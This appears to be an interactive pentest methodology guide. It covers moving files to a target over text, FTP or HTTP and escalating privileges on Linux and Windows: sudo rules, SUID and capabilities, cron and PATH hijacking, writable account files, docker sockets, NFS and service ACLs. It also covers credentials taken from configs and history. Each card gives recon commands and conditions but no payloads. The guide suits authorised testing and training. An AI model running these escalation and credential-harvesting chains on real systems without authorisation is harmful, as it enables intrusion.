Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

Move a small artifact through a text-only channelNot inspectedThe existing command channel permits text but no convenient file-transfer connection

Starting access: Verified command execution or authenticated remote access and a known network path

Discover the clue

command -v base64
wc -c FILE

Read the result

A small artifact and compatible decoder make text transport plausible, without assuming large encoded commands survive.

Still check: Verify exact length/quoting and source/destination hash; use the Windows decoding variant when appropriate.

Illustrative output
/usr/bin/base64
SMALL_BYTE_COUNT FILE
Validate prerequisites and compare methods

Available Base64 encode/decode, adequate command length and a writable destination

base64 -w 0 FILE
sha256sum FILE
Open numbered procedure and alternatives →

What did you find?

Enabled: The complete decoded bytes match: use the text-transfer result.

Ruled out here: The channel truncates below the required encoded size: reject a one-command transfer of this artifact.

Unresolved: Unknown command limits require a harmless small round trip before relying on the channel.

Show connections

These are conditional possibilities. Check the named condition before moving.

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Use a temporary FTP transfer as a constrained fallbackNot inspectedThe target has an FTP client and simpler transfer routes are unavailable

Starting access: Verified command execution or authenticated remote access and a known network path

Discover the clue

ftp
help
quit

Read the result

Client availability permits investigating FTP; binary mode and separate data-channel paths remain necessary.

Still check: Verify deliberate server scope, control/data connectivity, required read/write and post-transfer hashes.

Illustrative output
Client commands include: open, binary, get, put
No transfer mode selected yet
Validate prerequisites and compare methods

A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode

ftp LHOST PORT
binary
Open numbered procedure and alternatives →

What did you find?

Enabled: Binary transfer completes and hashes match: use that verified temporary copy.

Ruled out here: Only the control channel works and the required data route is blocked: reject this FTP path.

Unresolved: Client presence alone leaves data transport and server rights unproved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Copy files through an authenticated SSH service — An SSH identity can access the needed source/destination
Requires: Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility

Escalate privileges on Linux

Establish Linux state and choose an escalation candidateNot inspectedA new Linux foothold or an identity/privilege change

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

id
findmnt
ps auxww
sudo -l

Read the result

The sudo rule and privileged backup consumer open different candidate families; neither should be replaced by an automatic kernel choice.

Still check: For each candidate establish exact permitted operation/object, run-as identity and trigger.

Illustrative output
uid=USER_ID(APP_USER) groups=APP_GROUP
(root) NOPASSWD: /usr/bin/find
root ... /bin/sh /OPT_PATH/backup.sh
Validate prerequisites and compare methods

A working command channel and accurate effective identity, group, mount and process context

hostname
id
uname -a
cat /etc/os-release
findmnt
sudo -l
Open numbered procedure and alternatives →

What did you find?

Enabled: A candidate's complete permission/consumer chain is validated: choose that specific method.

Ruled out here: A highlighted process belongs to the same low user: reject its assumed privilege gain.

Unresolved: Permission-denied inventory is incomplete visibility; use known application paths and supported built-ins.

Show connections

These are conditional possibilities. Check the named condition before moving.

Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Use privileged group, daemon or container-management control — Membership or socket ACLs permit controlling a rootful daemon or useful session
Requires: Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation

Select an evidence-matched Linux software or kernel exploit — Permission/credential paths are insufficient and an exact affected build/configuration is present
Requires: Vulnerable package/kernel state, architecture, mitigations, namespaces and documented exploit-specific conditions

Prove effective file, directory, ACL and mount controlNot inspectedA root-consumed file or directory appears writable

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

namei -l /PATH/TO/OBJECT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT
findmnt -T /PATH/TO/OBJECT

Read the result

Parent replacement can provide a control primitive even when the existing file's write bit is absent.

Still check: Run namei -l, stat and getfacl on the exact path and its parents, then findmnt -T for ro/noexec/nosuid. Check the identity and trigger of the process that uses this path; write permission alone is not execution.

Illustrative output
file: root-owned, not directly writable
parent: current group has write+execute
mount: rw
Validate prerequisites and compare methods

Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

namei -l /PATH/TO/OBJECT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT
findmnt -T /PATH/TO/OBJECT
Open numbered procedure and alternatives →

What did you find?

Enabled: The precise object can be replaced and is consumed under a higher identity: choose that control path.

Ruled out here: Parent/file rights do not grant the needed operation: reject that proposed write.

Unresolved: An ACL listing without effective trustee/mount context leaves control unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Control a privileged program's shared-library resolution — A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path
Requires: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger

Change a writable account or privilege-policy file — Account metadata or a privilege-policy file appears writable
Requires: Effective write/replace permission, known file syntax and a useful identity/policy consumer; preserve the original

Recover credentials from Linux user, service and process trailsNot inspectedReadable configuration, shell history, environment, process arguments or session sockets

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

ps auxww
history
find /opt /var/www /srv -maxdepth 3 -type f -readable 2>/dev/null

Read the result

An actual service's readable configuration supplies an identity-labelled secret candidate.

Still check: Read the named config/history/process artifact and record the user, service and host it belongs to. Classify a recovered password/key, test one matching service context and verify the accepted identity before trying reuse elsewhere.

Illustrative output
Process: APP_SERVICE --config /opt/APP/config.ini
Readable file: /opt/APP/config.ini
Setting: database_user=DB_USER; password=PASSWORD
Validate prerequisites and compare methods

Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

history
ps auxww
env
find /opt /var/www /srv -maxdepth 3 -type f -readable 2>/dev/null
Open numbered procedure and alternatives →

What did you find?

Enabled: The secret works in its verified identity/service context: use that access and re-enumerate.

Ruled out here: The value is a stale example and no longer accepted: reject that credential pairing.

Unresolved: A token-like string without service/account context requires provenance work before reuse.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions

Use an allowed sudo operation to cross a privilege boundaryNot inspectedsudo -l grants an operation under a more useful identity

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

sudo -n -l 2>&1
sudo -l

Read the result

The rule permits that exact program as root; its documented privileged operation becomes a candidate.

Still check: Read sudo -l: match the run-as user, exact executable and allowed arguments. Check NOPASSWD/password access and NOEXEC/environment restrictions; choose only the GTFOBins operation that the full rule permits, then verify id.

Illustrative output
User USER may run:
    (root) NOPASSWD: /usr/bin/find
Validate prerequisites and compare methods

Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

sudo -n -l 2>&1
sudo -l
Open numbered procedure and alternatives →

What did you find?

Enabled: The allowed invocation exposes a useful operation and its effect is verified: choose that sudo method.

Ruled out here: Only a fixed harmless argument pattern is permitted: reject the unrestricted escape assumption.

Unresolved: A password-required response does not show the rule; obtain the legitimate credential/context before deciding.

Show connections

These are conditional possibilities. Check the named condition before moving.

Load a controlled library through a permitted sudo environment — A sudo rule explicitly preserves or permits a loader variable
Requires: Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Recover credentials from Linux user, service and process trails — Readable configuration, shell history, environment, process arguments or session sockets
Requires: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

Load a controlled library through a permitted sudo environmentNot inspectedA sudo rule explicitly preserves or permits a loader variable

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

sudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM

Read the result

Explicit environment permission plus a compatible dynamic consumer suggests a loader-injection candidate.

Still check: Confirm SETENV or explicit LD_PRELOAD preservation in sudo -l and a dynamically linked allowed program. Use only the permitted environment form; inspect the resulting id rather than assuming the shared library ran as root.

Illustrative output
env_keep includes LD_PRELOAD, or applicable SETENV
Allowed program: dynamically linked
Run-as: root
Validate prerequisites and compare methods

Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it

sudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM
Open numbered procedure and alternatives →

What did you find?

Enabled: The permitted loader consumes the chosen library and its effect runs under the expected identity: select this route.

Ruled out here: The binary is static or the variable is sanitized: reject this preload chain.

Unresolved: SETENV alone without compatible consumer/loader evidence leaves the route incomplete.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Control a privileged program's shared-library resolution — A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path
Requires: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger

Use a SUID or SGID program's exposed privileged primitiveNot inspectedA nonstandard or dangerous privileged executable

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
file /PATH/TO/BINARY

Read the result

The s bits identify an execution credential mechanism; nonstandard behavior warrants inspection but is not a vulnerability itself.

Still check: Run stat on the flagged executable and findmnt -T on its path. Check the SUID owner, nosuid and exact binary behavior; after a permitted operation run id to see whether the elevated effective UID was retained.

Illustrative output
-rwsr-xr-x root root /opt/APP/custom-helper
-rwxr-sr-x root GROUP /PATH/TO/SGID_HELPER
Validate prerequisites and compare methods

Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
findmnt -T /PATH/TO/BINARY
Open numbered procedure and alternatives →

What did you find?

Enabled: The program exposes a permitted privileged read/write/exec operation: choose that exact mode.

Ruled out here: It drops privilege before the controllable operation or runs on nosuid: reject that assumed transition.

Unresolved: Only the SUID listing is known: inspect its actual behavior and constraints before choosing an escape.

Show connections

These are conditional possibilities. Check the named condition before moving.

Hijack an unqualified helper through controlled PATH resolution — A privileged program/job invokes a helper without an absolute path
Requires: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists

Use a file capability that enables a specific privileged operation — An interpreter/helper has an effective high-value capability
Requires: The exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its use

Control a privileged program's shared-library resolution — A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path
Requires: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger

Use a file capability that enables a specific privileged operationNot inspectedAn interpreter/helper has an effective high-value capability

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

getcap -r / 2>/dev/null
capsh --print 2>/dev/null

Read the result

The specific interpreter has effective set-UID authority, unlike an ordinary copy of python3 elsewhere.

Still check: Read getcap for the exact executable, inspect its mount and match the named capability to the program operation. A version or capability name alone does not prove that the program retains a useful effective capability.

Illustrative output
/opt/TOOLS/python3 cap_setuid=ep
Validate prerequisites and compare methods

The exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its use

getcap -r / 2>/dev/null
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status
Open numbered procedure and alternatives →

What did you find?

Enabled: The exact capability-backed operation changes the effective identity as expected: select that method.

Ruled out here: Only cap_net_raw exists for the candidate: reject the assumed general UID-changing route.

Unresolved: A capability name without effective-context/consumer evidence is insufficient.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Recover credentials from Linux user, service and process trails — Readable configuration, shell history, environment, process arguments or session sockets
Requires: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

Use a SUID or SGID program's exposed privileged primitive — A nonstandard or dangerous privileged executable
Requires: Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege

Control a script, binary or configuration consumed by a privileged job/serviceNot inspectedRoot-owned cron, systemd or recurring process activity uses a controllable object

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

cat /etc/crontab
systemctl list-timers --all
ps auxww

Read the result

The schedule explicitly names a privileged consumer and an exact file to inspect.

Still check: Observe the actual command and UID with pspy or inspect the unit with systemctl cat/show. Run namei -l, stat and getfacl on the consumed path and parents; identify the timer, restart or invocation before changing the file.

Illustrative output
* * * * * root /opt/APP/backup.sh
Script path: /opt/APP/backup.sh
Validate prerequisites and compare methods

Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

cat /etc/crontab
systemctl list-timers --all
ps auxww
Open numbered procedure and alternatives →

What did you find?

Enabled: The controlled object is consumed at a confirmed privileged trigger: choose the job/service method.

Ruled out here: The real job runs as the same low user: reject privilege gain through that action.

Unresolved: A stale job file without observed activity/usable trigger leaves execution unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Hijack an unqualified helper through controlled PATH resolution — A privileged program/job invokes a helper without an absolute path
Requires: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists

Turn wildcard-expanded filenames into privileged command options — A privileged job passes an uncontrolled directory glob to an option-parsing utility
Requires: Control of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged trigger

Hijack an unqualified helper through controlled PATH resolutionNot inspectedA privileged program/job invokes a helper without an absolute path

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY
strings /PATH/TO/REVIEWED_BINARY

Read the result

An unqualified helper can resolve through the controlled earlier directory in the consumer's environment.

Still check: Find the helper name in the privileged script or observed pspy command. Check that it is unqualified and identify the consumer's real PATH; a writable directory matters only if that consumer searches it first.

Illustrative output
Helper invocation: backup_tool ARGUMENT
Consumer PATH: /CONTROLLED_DIRECTORY:/usr/bin:/bin
Validate prerequisites and compare methods

A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists

printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY
Open numbered procedure and alternatives →

What did you find?

Enabled: The consumer selects the controlled helper under the higher identity: use the verified resolution route.

Ruled out here: It invokes /usr/bin/backup_tool by absolute path or uses a protected PATH: reject this hijack.

Unresolved: A strings result alone does not prove an executed call or inherited PATH; inspect/observe the consumer.

Show connections

These are conditional possibilities. Check the named condition before moving.

Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Use a SUID or SGID program's exposed privileged primitive — A nonstandard or dangerous privileged executable
Requires: Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Turn wildcard-expanded filenames into privileged command optionsNot inspectedA privileged job passes an uncontrolled directory glob to an option-parsing utility

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

cat /PATH/TO/REVIEWED_JOB_SCRIPT
ls -la /PATH/TO/JOB_DIRECTORY
namei -l /PATH/TO/JOB_DIRECTORY

Read the result

Controlled filenames may become utility arguments after glob expansion; the exact utility and option ordering decide the method.

Still check: Inspect the exact privileged command: confirm that a wildcard expands attacker-controlled names into option positions and that the utility interprets those options. A writable directory without that command/trigger does not enable this route.

Illustrative output
Job command: tar ... *
Working directory: /CONTROLLED_DIRECTORY
Caller: root
Validate prerequisites and compare methods

Control of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged trigger

namei -l /PATH/TO/JOB_DIRECTORY
ls -la /PATH/TO/JOB_DIRECTORY
Open numbered procedure and alternatives →

What did you find?

Enabled: The actual invocation accepts the useful injected option and privileged effect is verified: select that mechanism.

Ruled out here: The job uses -- before expanded filenames or no compatible glob: reject that option-injection route.

Unresolved: A wildcard-looking string without execution/working-directory evidence is only a candidate.

Show connections

These are conditional possibilities. Check the named condition before moving.

Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Change a writable account or privilege-policy fileNot inspectedAccount metadata or a privilege-policy file appears writable

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

stat /etc/passwd /etc/shadow /etc/sudoers
getfacl -p /etc/passwd /etc/sudoers 2>/dev/null

Read the result

A sensitive account file appears writable; the authentication implementation and valid record syntax determine its effect.

Still check: Preserve original state; confirm exact effective write, file consumer, useful identity and recovery/trigger.

Illustrative output
/etc/passwd: mode=0666 owner=root
Effective write for current identity: present
Validate prerequisites and compare methods

Effective write/replace permission, known file syntax and a useful identity/policy consumer; preserve the original

stat /etc/passwd /etc/shadow /etc/sudoers
getfacl -p /etc/passwd /etc/sudoers 2>/dev/null
Open numbered procedure and alternatives →

What did you find?

Enabled: The valid authorized change produces the intended authentication/policy effect: choose this sensitive-file route.

Ruled out here: The filesystem/ACL denies the required operation: reject the writable-file hypothesis.

Unresolved: Mode bits without ACL/mount/consumer evidence leave a safe usable transition unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Use privileged group, daemon or container-management controlNot inspectedMembership or socket ACLs permit controlling a rootful daemon or useful session

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

id
ls -l /var/run/docker.sock
cat /proc/1/cgroup

Read the result

Effective socket access suggests daemon control; group text alone does not establish host-affecting rootful operations.

Still check: Check API acceptance, rootful/rootless and namespace policy, available resources and the specific host operation.

Illustrative output
groups include docker
Socket group: docker; group read/write
Container/host context: verify separately
Validate prerequisites and compare methods

Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation

id
ls -l /var/run/docker.sock
findmnt
cat /proc/1/cgroup
Open numbered procedure and alternatives →

What did you find?

Enabled: A rootful daemon permits the required host-affecting operation: use that documented route.

Ruled out here: A rootless/user-namespaced daemon cannot grant the assumed host-root effect: reject that chain.

Unresolved: Socket presence without usable API permissions leaves the control claim unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Recover credentials from Linux user, service and process trails — Readable configuration, shell history, environment, process arguments or session sockets
Requires: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

Exploit a permission-backed mount, NFS mapping or local service — A writable/exported filesystem or a loopback-only service with useful privileges
Requires: Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer

Exploit a permission-backed mount, NFS mapping or local serviceNot inspectedA writable/exported filesystem or a loopback-only service with useful privileges

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

findmnt
cat /etc/exports 2>/dev/null
ss -lntup

Read the result

A local-only service or export mapping creates a specific investigation route, not automatic escalation.

Still check: For the service check accepted identity/rights; for NFS check client mapping, write permissions, mount flags and target-side consumer.

Illustrative output
Listener: 127.0.0.1:DATABASE_PORT
Export option candidate: no_root_squash
Validate prerequisites and compare methods

Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer

findmnt
cat /etc/exports 2>/dev/null
ss -lntup
ss -lxnp
Open numbered procedure and alternatives →

What did you find?

Enabled: The complete mapped-file or authenticated local-service primitive is verified: select it.

Ruled out here: root_squash/nosuid or insufficient service rights defeats the proposed privileged chain.

Unresolved: Export text or a listen socket without actual access leaves the candidate incomplete.

Show connections

These are conditional possibilities. Check the named condition before moving.

Inspect RPC/NFS exports and effective file identity — RPC/NFS listeners or export information
Requires: Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access

Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions

Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

Control a privileged program's shared-library resolutionNot inspectedA privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

readelf -d /PATH/TO/BINARY
namei -l /PATH/TO/LIBRARY_DIRECTORY

Read the result

A named dependency plus a potentially controlled search location is a loader-resolution candidate.

Still check: Verify actual runtime selection, ABI/symbols, secure-execution rules, retained privilege and a trigger.

Illustrative output
NEEDED: libAPP.so
RUNPATH: /CONTROLLED_LIBRARY_DIRECTORY
Validate prerequisites and compare methods

Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger

readelf -d /PATH/TO/BINARY
namei -l /PATH/TO/LIBRARY_DIRECTORY
file /PATH/TO/BINARY
Open numbered procedure and alternatives →

What did you find?

Enabled: The higher-identity process actually loads the controlled compatible library: select that chain.

Ruled out here: A protected earlier library or secure-loader behavior prevents selection: reject the assumed path.

Unresolved: Static dependency output alone leaves actual privileged resolution unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Load a controlled library through a permitted sudo environment — A sudo rule explicitly preserves or permits a loader variable
Requires: Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Select an evidence-matched Linux software or kernel exploitNot inspectedPermission/credential paths are insufficient and an exact affected build/configuration is present

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

uname -a
cat /etc/os-release
getconf LONG_BIT

Read the result

A version-associated advisory is a candidate; backports and feature state determine applicability.

Still check: Collect uname and the distribution's package/build plus architecture. Match the advisory's vulnerable feature and vendor patch status before choosing a PoC; try a confirmed sudo/file/credential route first when one exists.

Illustrative output
Kernel release: KERNEL_RELEASE
Distribution package/build: VENDOR_BUILD
Required vulnerable feature: not yet verified
Validate prerequisites and compare methods

Vulnerable package/kernel state, architecture, mitigations, namespaces and documented exploit-specific conditions

uname -a
cat /etc/os-release
getconf LONG_BIT
Open numbered procedure and alternatives →

What did you find?

Enabled: Affected code/configuration and compatible reviewed PoC are established: select its bounded test.

Ruled out here: The vendor build includes the fix or required feature is absent: reject that exploit.

Unresolved: A release string without patch/configuration evidence leaves vulnerability unconfirmed.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Use enumeration tools to generate manually testable candidatesNot inspectedA Linux foothold is available; run an early sweep for sudo rules, file capabilities, credentials and writable privileged paths

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context

Discover the clue

id
uname -m
command -v bash python3
ls -ld /tmp

Read the result

The highlight supplies a candidate object, not the missing privileged consumer or execution trigger.

Still check: Run the reviewed LinPEAS baseline and save its output. For sudo highlights run sudo -l; for a flagged file use stat/namei/getfacl; for jobs confirm the UID and command with pspy or systemctl. Open the matching technique only after that check.

Illustrative output
Enumerator candidate: writable /opt/APP/script.sh
Consumer identity: unknown
Trigger: unknown
Validate prerequisites and compare methods

Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location

id
uname -m
command -v bash python3
ls -ld /tmp
Open numbered procedure and alternatives →

What did you find?

Enabled: The full manual chain validates: follow its owning method.

Ruled out here: Only a low-privileged process consumes the object: reject the escalation hypothesis.

Unresolved: Missing tools or restricted /proc can hide evidence; investigate application-specific paths manually.

Show connections

These are conditional possibilities. Check the named condition before moving.

Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Escalate privileges on Windows

Establish Windows token, host and process contextNot inspectedA new Windows session or claimed administrator/SYSTEM transition

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

whoami /all
systeminfo
tasklist /svc

Read the result

An Administrators SID exists but this effective process is filtered/medium-integrity.

Still check: Check actual enabled privileges and object operations in the process that will perform the action.

Illustrative output
BUILTIN\Administrators: Group used for deny only
Mandatory Label\Medium Mandatory Level
Validate prerequisites and compare methods

A functioning command channel and the actual effective token/process context

hostname
whoami /all
systeminfo
ipconfig /all
Open numbered procedure and alternatives →

What did you find?

Enabled: A higher-integrity/SYSTEM token and intended operation are verified: record that privilege state.

Ruled out here: A medium filtered token cannot perform the assumed administrative action: reject that privilege assumption.

Unresolved: Username/group membership alone leaves token state unknown; inspect whoami /all.

Show connections

These are conditional possibilities. Check the named condition before moving.

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Change a privileged service's executable configuration — Effective SERVICE_CHANGE_CONFIG on a higher-privileged service
Requires: Configuration-change right, accessible compatible payload path and a separate start/restart trigger

Select a privilege-backed impersonation or object-control route — whoami /priv exposes a relevant token privilege
Requires: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context

Exploit an unquoted service path with a writable earlier prefix — A service command line contains unquoted spaces
Requires: An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists

Validate elevated installer policy and administrative-token context — Installer policy values or an administrator account with a filtered token
Requires: AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context

Prove effective file, registry and service-object permissionsNot inspectedA privileged object appears writable or an ACL tool reports a useful right

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE

Read the result

A modifiable parent can differ from a read-only file; service configuration rights are another control plane.

Still check: Use icacls/Get-Acl on the reported object and parents. For a service also inspect sc qc/sc sdshow; for a task inspect its action/principal. Check the specific write/replace/configuration operation and its trigger.

Illustrative output
File: BUILTIN\Users:(RX)
Parent: DOMAIN\GROUP:(M)
Service-object rights: separate DACL
Validate prerequisites and compare methods

Correct trustee/token, object type and effective rights including parents and deny entries

whoami /all
icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE
Open numbered procedure and alternatives →

What did you find?

Enabled: The intended effective operation and higher consumer are proved: select that object-control method.

Ruled out here: Only read/execute applies to the current token: reject the proposed modification.

Unresolved: An ACL for an inactive or ambiguous group leaves effective access unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Replace a privileged service binary or consumed file — A privileged service consumes a file whose bytes or parent replacement are controllable
